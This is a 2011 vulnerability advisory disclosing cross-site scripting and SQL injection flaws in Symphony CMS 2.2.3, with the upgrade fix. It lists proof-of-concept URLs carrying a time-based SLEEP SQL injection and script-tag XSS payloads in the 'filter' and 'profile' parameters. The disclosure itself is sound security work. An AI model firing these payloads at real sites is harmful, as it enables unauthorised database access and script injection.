Symphony CMS 2.2.3 Cross Site Scripting / SQL Injection

`Information  
--------------------  
Name : XSS and SQL Injection Vulnerabilities on Symphony CMS  
Software : Symphony CMS 2.2.3 and possibly below  
Vendor Homepage : http://symphony-cms.com  
Vulnerability Type : Cross-Site Scripting and SQL Injection  
Severity : Critical  
Researcher : Mesut Timur <mesut [at] mavitunasecurity [dot] com>  
Advisory Reference : NS-11-008  
  
Description  
------------------  
Symphony is a web-based content management system (CMS) that enables  
users to create and manage websites and web applications of all shapes  
and sizes—from the simplest of blogs to bustling news sites and  
feature-packed social networks.  
  
Details  
-------------------  
Symphony is affected by several XSS and SQL Injection vulnerabilities.  
Example PoC urls are as follows :  
  
http://example.com/symphony/publish/comments/?filter='+(SELECT+1+FROM+(SELECT+SLEEP(25))A)+'  
http://example.com/symphony/publish/images/?filter='+(SELECT+1+FROM+(SELECT+SLEEP(25))A)+'  
http://example.com/?profile='"--></style></script><script>alert(1)</script>  
http://example.com/symphony/publish/comments/?filter='"--></style></script><script>alert(1)</script>  
http://example.com/symphony/publish/images/?filter='"--></style></script><script>alert(1)</script>  
http://example.com/about/?profile='"--></style></script><script>alert(1)</script>  
http://example.com/drafts/?profile='"--></style></script><script>alert(1)</script>  
  
  
You can read the full article about Cross-Site Scripting and SQL  
Injection vulnerabilities from here :  
  
http://www.mavitunasecurity.com/crosssite-scripting-xss/  
http://www.mavitunasecurity.com/sql-injection/  
  
  
Solution  
-------------------  
Upgrade to the latest Symphony version (2.2.4).  
  
Credits  
-------------------  
It has been discovered on testing of Netsparker, Web Application  
Security Scanner - http://www.mavitunasecurity.com/netsparker/.  
  
References  
-------------------  
1. Vendor URL: http://symphony-cms.com/download/releases/version/2.2.4/  
2. Netsparker Advisories :  
http://www.mavitunasecurity.com/netsparker-advisories/  
3. MSL Advisory :  
http://www.mavitunasecurity.com/xss-and-sql-injection-vulnerabilities-in-symphony-cms/  
  
About Netsparker  
-------------------  
Netsparker® can find and report security issues such as SQL Injection  
and Cross-site Scripting (XSS) in all web applications regardless of  
the platform and the technology they are built on. Netsparker's unique  
detection and exploitation techniques allows it to be dead accurate in  
reporting hence it's the first and the only False Positive Free web  
application security scanner.  
`